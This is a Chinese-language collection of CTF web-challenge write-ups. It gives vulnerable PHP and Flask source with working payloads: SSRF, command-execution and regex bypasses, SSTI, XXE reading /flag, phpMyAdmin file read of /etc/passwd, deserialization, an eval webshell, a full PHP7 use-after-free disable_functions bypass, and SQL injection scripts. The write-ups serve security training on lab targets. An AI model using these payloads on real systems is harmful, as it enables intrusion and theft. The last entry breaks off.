<?php $_GET['url' ] = "http://localhost\0.example.com" ; $host = parse_url($_GET['url' ], PHP_URL_HOST); if (substr($host, -12 ) !== '.example.com' ) { die (); } $headers = get_headers($_GET['url' ]); var_dump($headers);
payload
1
?url=http://127.0.0.123%00www.ctfhub.com
[GXYCTF2019]禁止套娃
.git
泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
<?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET['exp' ])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET['exp' ])) { if (';' === preg_replace('/[a-z,_]+\((?R)?\)/' , NULL , $_GET['exp' ])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET['exp' ])) { @eval ($_GET['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
其中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
preg_replace('/[a-z,_]+\((?R)?\)/' , NULL, $_GET ['exp' ]) \(和\)表示转义括号 (?R)?表示引用当前表达式 ``` 大致意思就是可以使用函数,但是函数中不能有参数 ```bash localeconv() 函数返回一包含本地数字及货币格式信息的数组。 scandir() 列出 images 目录中的文件和目录。 readfile() 输出一个文件。 current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 next() 函数将内部指针指向数组中的下一个元素,并输出。 array_reverse()以相反的元素顺序返回数组。 highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
查看有哪些文件
1
?exp=print_r(scandir(current(localeconv())));
打印flag
1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
解释
1 2 3 4
scandir(current(localeconv()))是查看当前目录 加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.) 再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码
[GXYCTF2019]BabyUpload
先上传 .htaccess
文件,注意抓包,要修改 TYPE 为 jpeg
[BJDCTF 2nd]old-hack
1 2
post: _method=__construct&filter[]=system&method=get&get[]=cat /flag
[安洵杯 2019]easy_web
index.php 转化为 16 进制,并 base64 两次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8' ); $cmd = $_GET['cmd' ]; if (!isset ($_GET['img' ]) || !isset ($_GET['cmd' ])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin(base64_decode(base64_decode($_GET['img' ]))); $file = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file); if (preg_match("/flag/i" , $file)) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi锝� no flag" ); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd;echo "<br>" ;if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd)) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string)$_POST['a' ] !== (string)$_POST['b' ] && md5($_POST['a' ]) === md5($_POST['b' ])) { echo `$cmd`; } else { echo ("md5 is funny ~" ); } } ?>
限制了类型为string,且比较类型为强类型,需要硬碰撞出两个md5一样的字符串,抄一个现成的
1 2 3
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
命令执行绕过 Linux下的命令执行有很多绕过方法
在命令中穿插\,不会影响命令执行,如c\at /fl\ag
sort命令用于将文本文件内容加以排序。sort可针对文本文件的内容,以行为单位来排序。sort%20/flag
[BJDCTF2020]Mark loves cat
git 泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<?php include 'flag.php' ;$yds = "dog" ; $is = "cat" ; $handsome = 'yds' ; foreach ($_POST as $x => $y){ $$x = $y; } foreach ($_GET as $x => $y){ $$x = $$y; } foreach ($_GET as $x => $y){ if ($_GET['flag' ] === $x && $x !== 'flag' ){ exit ($handsome); } } if (!isset ($_GET['flag' ]) && !isset ($_POST['flag' ])){ exit ($yds); } if ($_POST['flag' ] === 'flag' || $_GET['flag' ] === 'flag' ){ exit ($is); } echo "the flag is: " .$flag;
可以看到有三个有输出的exit:
1 2 3
exit ($handsome );exit ($yds );exit ($is );
找一个最简单的,第二个exit:
1 2 3
if (!isset($_GET ['flag' ]) && !isset($_POST ['flag' ])){ exit ($yds ); }
只要不给flag传值就会退出,退出的时候会显示$yds的值,而$yds的值在代码最开始的时候初始化过:
初始化和exit之间有代码:
1 2 3 4 5 6 7 8
foreach($_POST as $x => $y ){ $$x = $y ; } foreach($_GET as $x => $y ){ $$x = $$y ; } 我们只要在这段代码中令$yds =$flag ,将原来$yds 变量的值进行覆盖,同时符合退出条件,就可以输出拿到flag
[GWCTF 2019]我有一个数据库
版本为4.81,经查询,存在远程文件读取漏洞
直接上payload读取passwd文件
1
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
[BJDCTF2020]The mystery of ip
存在smarty注入payload。 网址:https://www.jianshu.com/p/eb8d0137a7d3
1 2 3 4 5
{if phpinfo()}{/if } {if system('ls' )}{/if } { readfile('/flag' ) } {if show_source('/flag' )}{/if } {if system('cat ../../../flag' )}{/if }
payload如下:
1 2 3 4 5 6 7 8 9
GET /flag.php HTTP/1.1 Host: node3.buuoj.cn:29925 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close X-Forwarded-For: {if system('cat ../../../flag' )}{/if } Upgrade-Insecure-Requests: 1
[De1CTF 2019]SSRF Me
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip) : self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self) : result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self) : if (getSign(self.action,self.param) == self.sign): return True else : return False @app.route("/geneSign", methods=['GET', 'POST']) def geneSign () : param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge () : action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index () : return open("code.txt" ,"r" ).read() def scan (param) : socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param) : return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content) : return hashlib.md5(content).hexdigest() def waf (param) : check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' )
审计从路由开始,然后在慢慢延申出去
这里有三个路由:
/geneSign /De1ta / 从/De1ta开始看起,首先是创建了一个Task的类,action、sign的值是由cookie得到,而param的值就是直接通过GET方法传递param参数的值得到,ip就是你的ip地址,接着param参数会经过waf,如果过了waf,则执行这个类的Exec。 顺着这个思路,我们追溯到waf这个方法上,通过审计我们知道要绕过waf,param的值不能以 gopher和file开头
接下去执行Task里的Exec方法,通过审计我们发现如果checkSign(self) 为真 ,则可以传递/De1ta页面的param参数进入到scan方法,并的目录下创建一个result.txt ,然后通过scan()函数把参数param的值写到result.txt中,由于param是可控的,所以很容易想到这里把flag.txt传给param。
审计checkSign(self) 函数,发现如果getSign(cookie传入的action, get传入的param)和cookie传入的sign相等则返回True ,否则返回False
审计getSign(),我们发现不知道secert_key的值,但是路由/geneSign有一个return getSign(scan, param),这里我们另/geneSign页面的参数param的值为flag.txtread(这里为什么后面会讲到),通过getSign得到的sign值即为md5(secert_key + ‘flag.txtread’ + ‘scan’)
回到Task类的Exec方法if “read” in self.action:如果read在action里面,则我们可以读取读取result.txt的内容赋值给result,这里result.txt的值实际上是我们传入的param的值
在这里就可以解释为什么/geneSign页面我们传入的param的值要为flag.txtread了,因为结合Exec方法,我们要实现写入文件和读出的功能,就必须另//De1ta页面的action为readsacn或scanread,此时的getSign(),返回的值就是hashlib.md5(secert_key + flag.txt + readscan).hexdigest(),而此时只有另/geneSign页面的param参数为flag.txtread才能使
getSign(self.action, self.param) == getSign(flag.txt+readscan) ,
即md5(secret_key+flag.txtread+scan) == md5(secret_key+flag.txt+readscan)
所以第二步就是在/De1ta页面,get ?param=flag.txt ,cookie action=readscan ,sign=我们在/geneSign页面得到的md5值,这样就可以得到flag了
[BJDCTF2020]ZJCTF,不过如此
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php error_reporting(0 ); $text = $_GET["text" ]; $file = $_GET["file" ]; if (isset ($text)&&(file_get_contents($text,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ die ("Not now!" ); } include ($file); } else { highlight_file(__FILE__ ); } ?>
解答 读取 next.php 文件内容
1 2 3
http://8db9374d-313e-4a56-8c16-b395e7075b1f.node3.buuoj.cn/?text=php://input&file=php://filter/read =base64-convert.encode/resource=next.php post: I have a dream
next.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
<?php $id = $_GET['id' ]; $_SESSION['id' ] = $id; function complex ($re, $str) { return preg_replace( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str) { echo complex($re, $str). "\n" ; } function getFlag () { @eval ($_GET['cmd' ]); }
详情可看此文章: https://xz.aliyun.com/t/2557
preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .*
是通过 GET 方式传入,传上去的.*
变成了__*
,由于在PHP中,对于传入的非法的 $_GET
数组参数名,会将其转换成下划线,这就导致正则匹配失效。提供一个 payload : \S*=${phpinfo()}
1
next.php?\S*=${getFlag()} &cmd=system('cat /flag' );
为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:
1 2 3 4 5 6 7 8
var_dump(phpinfo()); // 结果:布尔 true var_dump(strtolower(phpinfo()));// 结果:字符串 '1' var_dump(preg_replace('/(.*)/ie' ,'1' ,'{${phpinfo()}}' ));// 结果:字符串'11' var_dump(preg_replace('/(.*)/ie' ,'strtolower("\\1")' ,'{${phpinfo()}}' ));// 结果:空字符串'' var_dump(preg_replace('/(.*)/ie' ,'strtolower("{${phpinfo()}}")' ,'{${phpinfo()}}' ));// 结果:空字符串'' 这里的'strtolower("{${phpinfo()}}")' 执行后相当于 strtolower("{${1} }" ) 又相当于 strtolower("{null}" ) 又相当于 '' 空字符串 `
[网鼎杯 2020 朱雀组]phpweb
读取index.php源码
1 2
/index.php post:func=readfile&p=index.php
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
<?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string" ) { return $result; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct () { if ($this ->func != "" ) { echo gettime($this ->func, $this ->p); } } } $func = $_REQUEST["func" ]; $p = $_REQUEST["p" ]; if ($func != null ) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die ("Hacker..." ); } } ?>
过了很多,发现有个类,没有被可过滤,可以利用反序列化
1 2 3 4 5 6 7 8 9
<?php class Test { var $p = "find / -name flag*" ; var $func = "system" ; } $test=new Test(); echo serialize($test); ?>
寻找flag文件
1 2
index.php post: func=unserialize&p=O:4:"Test" :2:{s:1:"p" ;s:16:"grep -r 'flag' /" ;s:4:"func" ;s:6:"system" ;}
得到flag文件
1 2
index.php post: func=unserialize&p=O:4:"Test" :2:{s:1:"p" ;s:22:"cat /tmp/flagoefiu4r93" ;s:4:"func" ;s:6:"system" ;}
[GKCTF2020]CheckIN
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
<title>Check_In</title> <?php highlight_file(__FILE__ ); class ClassName { public $code = null ; public $decode = null ; function __construct () { $this ->code = @$this ->x()['Ginkgo' ]; $this ->decode = @base64_decode( $this ->code ); @Eval ($this ->decode); } public function x () { return $_REQUEST; } } new ClassName();
构造一句话,用蚁剑连接
1 2 3
<?php echo base64_encode('eval($_POST["ye1s"]);' );?>
猜测需要执行/readflag文件才能得到flag,接下来上传disable functions bypass脚本突破执行命令即可,bypass脚本github有很多,自己找一下即可。 如绕过脚本:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215
<?php pwn("/readflag" ); function pwn ($cmd) { global $abc, $helper; function str2ptr (&$str, $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s-1 ; $j >= 0 ; $j--) { $address <<= 8 ; $address |= ord($str[$p+$j]); } return $address; } function ptr2str ($ptr, $m = 8 ) { $out = "" ; for ($i=0 ; $i < $m; $i++) { $out .= chr($ptr & 0xff ); $ptr >>= 8 ; } return $out; } function write (&$str, $p, $v, $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff ); $v >>= 8 ; } } function leak ($addr, $p = 0 , $s = 8 ) { global $abc, $helper; write($abc, 0x68 , $addr + $p - 0x10 ); $leak = strlen($helper->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak; } function parse_elf ($base) { $e_type = leak($base, 0x10 , 2 ); $e_phoff = leak($base, 0x20 ); $e_phentsize = leak($base, 0x36 , 2 ); $e_phnum = leak($base, 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0 , 4 ); $p_flags = leak($header, 4 , 4 ); $p_vaddr = leak($header, 0x10 ); $p_memsz = leak($header, 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz; } } if (!$data_addr || !$text_size || !$data_size) return false ; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs ($base, $elf) { list ($data_addr, $text_size, $data_size) = $elf; for ($i = 0 ; $i < $data_size / 8 ; $i++) { $leak = leak($data_addr, $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak($data_addr, ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr; } } } function get_system ($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } class ryat { var $ryat; var $chtg; function __destruct () { $this ->chtg = $this ->ryat; $this ->ryat = 1 ; } } class Helper { public $a, $b, $c, $d; } if (stristr(PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A' , 79 ); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}' ; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0 ] = ptr2str(0 , 79 ); unset ($v); $abc = $out[2 ][0 ]; $helper = new Helper; $helper->b = function ($x) { }; if (strlen($abc) == 79 || strlen($abc) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr($abc, 0 ); $php_heap = str2ptr($abc, 0x58 ); $abc_addr = $php_heap - 0xc8 ; write($abc, 0x60 , 2 ); write($abc, 0x70 , 6 ); write($abc, 0x10 , $abc_addr + 0x60 ); write($abc, 0x18 , 0xa ); $closure_obj = str2ptr($abc, 0x20 ); $binary_leak = leak($closure_handlers, 8 ); if (!($base = get_binary_base($binary_leak))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf($base))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs($base, $elf))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system($basic_funcs))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20 , $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38 , 1 , 4 ); write($abc, 0xd0 + 0x68 , $zif_system); ($helper->b)($cmd); exit (); }
然后在命令执行点包含shell.php即可获得flag
1
include('/tmp/shell.php' );base64编码之后得到:aW5jbHVkZSgnL3RtcC9zaGVsbC5waHAnKTs=
[BJDCTF 2nd]假猪套天下第一
DS_Store泄露
1
python2 ds_store_exp.py http://node3.buuoj.cn:25749/.
看到有个L0g1n.php 访问一下
1
Sorry, this site will be available after totally 99 years!
修改头部
1 2 3 4 5 6 7 8 9 10 11 12 13
GET /L0g1n.php HTTP/1.1 Host: node3.buuoj.cn:25749 User-Agent: Commodore 64 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: gem-love.com Client-ip:127.0.0.1 From:[email protected] Via: y1ng.vip Cookie: time=16087393622222222225; PHPSESSID=se1334rkn9800qh7bk8dtnpn64 Upgrade-Insecure-Requests: 1
相关头部信息
[NCTF2019]Fake XML cookbook
xxe漏洞 file 协议读取flag
1 2 3 4 5 6
<? xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY penson SYSTEM "file:///flag" > ]> <user><username>&penson;</username><password>penson</password></user>
[ASIS 2019]Unicorn shop
买第四个商品了
考点unicode编码安全问题
我们可以用别的语言来表示数字
搜uncode大于1337的字符https://www.compart.com/en/unicode/search?q=thousand 直接搜thousand,会有一大堆
[SUCTF 2019]Pythonginx
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
@app.route('/getUrl', methods=['GET', 'POST']) def getUrl () : url = request.args.get("url" ) host = parse.urlparse(url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333"
解题
1 2 3 4 5 6 7 8 9 10
for i in range(128 ,65537 ): tmp=chr(i) try : res = tmp.encode('idna' ).decode('utf-8' ) if ("-" ) in res: continue print("U:{} A:{} ascii:{} " .format(tmp, res, i)) except : pass
在这里插入图片描述 Nginx 重要文件目录
配置文件存放目录:/etc/nginx 主要配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx Nginx配置文件:/usr/local/nginx/conf/nginx.conf
1 2
file://suctf.cℭ/usr/local /nginx/conf/nginx.conf file://suctf.cℭ/usr/fffffflag
[0CTF 2016]piapiapia
反序列化字符逃匿,字符变长 注册账户 登录账户 随意提交一些资料抓包 修改nickname为nickname[],数组绕过strlen()长度检测 修改nickname中的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
<?php function getSerialize () { $profile['phone' ] = '111111111111' ; $profile['email' ] = "[email protected] " ; $profile['nickname' ] = array ("sdddd" ); $profile['photo' ] = 'config.php' ; return serialize($profile); } function getPayload () { $s='";}s:5:"photo";s:10:"config.php";}' ; $len=strlen($s); $result="" ; $padding="where" ; for ($i=0 ;$i<$len;$i++){ $result.=$padding; } $result.=$s; return $result; } print (getSerialize());print ("\n" );print (getPayload());?>
[BJDCTF2020]Cookie is so stable
在user处尝试注入
1 2 3 4 5 6 7
{{7*'7' }} 回显7777777 ==> Jinja2 {{7*'7' }} 回显49 ==> Twig ``` 这里为Twig 获取flag ```bash {{_self.env.registerUndefinedFilterCallback("exec" )}}{{_self.env.getFilter("cat /flag" )}}
[WesternCTF2018]shrine
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import flaskimport os app = flask.Flask(__name__)app.config['FLAG' ] = os.environ.pop('FLAG' ) @ app.route('/') def index () : return open(__file__).read() @ app.route('/shrine/') def shrine (shrine) : def safe_jinja (s) : s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ =='__main__' : app.run(debug = True )
这里过滤了括号,所以__subclasses__
就无法使用,其中黑名单处理会将config和self替换为None,不过可以使用其他全局变量,再来引用config,如url_for()和get_flashed_messages()
1 2
{{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}}
[SWPU2019]Web1
报错了 一通fuzz,or等被过滤,即无法使用information_schema库,可以使用无列名注入 构造
1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 22
手动探测列数,这里探测到有22列,回显位为2和3 查表名时由于过滤or,所以information_schema无法使用。 但Mysql5.6及以上版本中mysql的 innodb_index_stats 和innodb_table_stats这两个表中都包含所有新创建的数据库和表名
1
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 22
无列名注入
1
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select * from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 22
[2019]easy_serialize_php
反序列化字符逃匿,字符减少 由 phpinfo 的 auto_append_file 中得知 flag 的位置 /d0g3_fllllllag
1 2
/index.php?f=show_image post: _SESSION[user]=flagflagflagflagflagflag&_SESSION[function ]=a " ;s:8 :"function" ;s:4 :"test" ;s:3 :"img" ;s:20 :"L2QwZzNfZmxsbGxsbGFn" ;}
[BSidesCF 2020]Had a bad day
读取index.php
1
/index.php?category=php://filter/read =convert.base64-encode/resource=index
index
1 2 3 4 5 6 7 8 9 10 11 12
$file = $_GET['category' ]; if (isset ($file)){ if ( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index" )){ include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } }
得去flag.php
1
/index.php?category=php://filter/read =convert.base64-encode/resource=meowers/../flag
[BJDCTF 2nd]简单注入
hint.txt
1 2 3 4 5 6
Only u input the correct password then u can get the flag and p3rh4ps wants a girl friend. select * from users where username='$_POST["username"]' and password='$_POST["password"]' ; //出题人四级压线才过 见谅见谅 领会精神
fuzz过滤的字符
1
['--' , '&' , "'" , 'and' , 'like' , 'select' , '-~' , ';' , '=' , '"' , 'union' , 'mid' ]
注入点
1
select * from users where username='admin\' and password='or 1#' ;
这时的后台语句变成这样的,用反斜杠转义username后面那个单引号,所以username的第一个单引号只能与password的第一个单引号闭合,最后一个单引号被注释,所以or后面那块就可以由我们自由发挥了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
import requestsimport mathurl='http://ff2e7e0b-61b7-45a5-927d-1a759757182e.node3.buuoj.cn/' flag='' for i in range(1 , 32 ): high=128 low=32 mid=math.floor((high+low)/2 ) while low<high: payload = "or(ascii(substr(password,{},1))>{})#" .format(i, mid) data = {"username" : "admin\\" , "password" : payload} re = requests.post(url, data=data) if "stronger" in re.text: low=mid+1 else : high=mid mid=math.floor((high+low)/2 ) if (low == 32 or high == 128 ): break flag += chr(mid) print(flag)
不过没注入出正确的密码有点奇怪
[WUSTCTF2020]朴实无华
robots.txt 得知 fAke_f1agggg.php 文件,访问一个假flag,响应头部有提示 fl4g.php文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
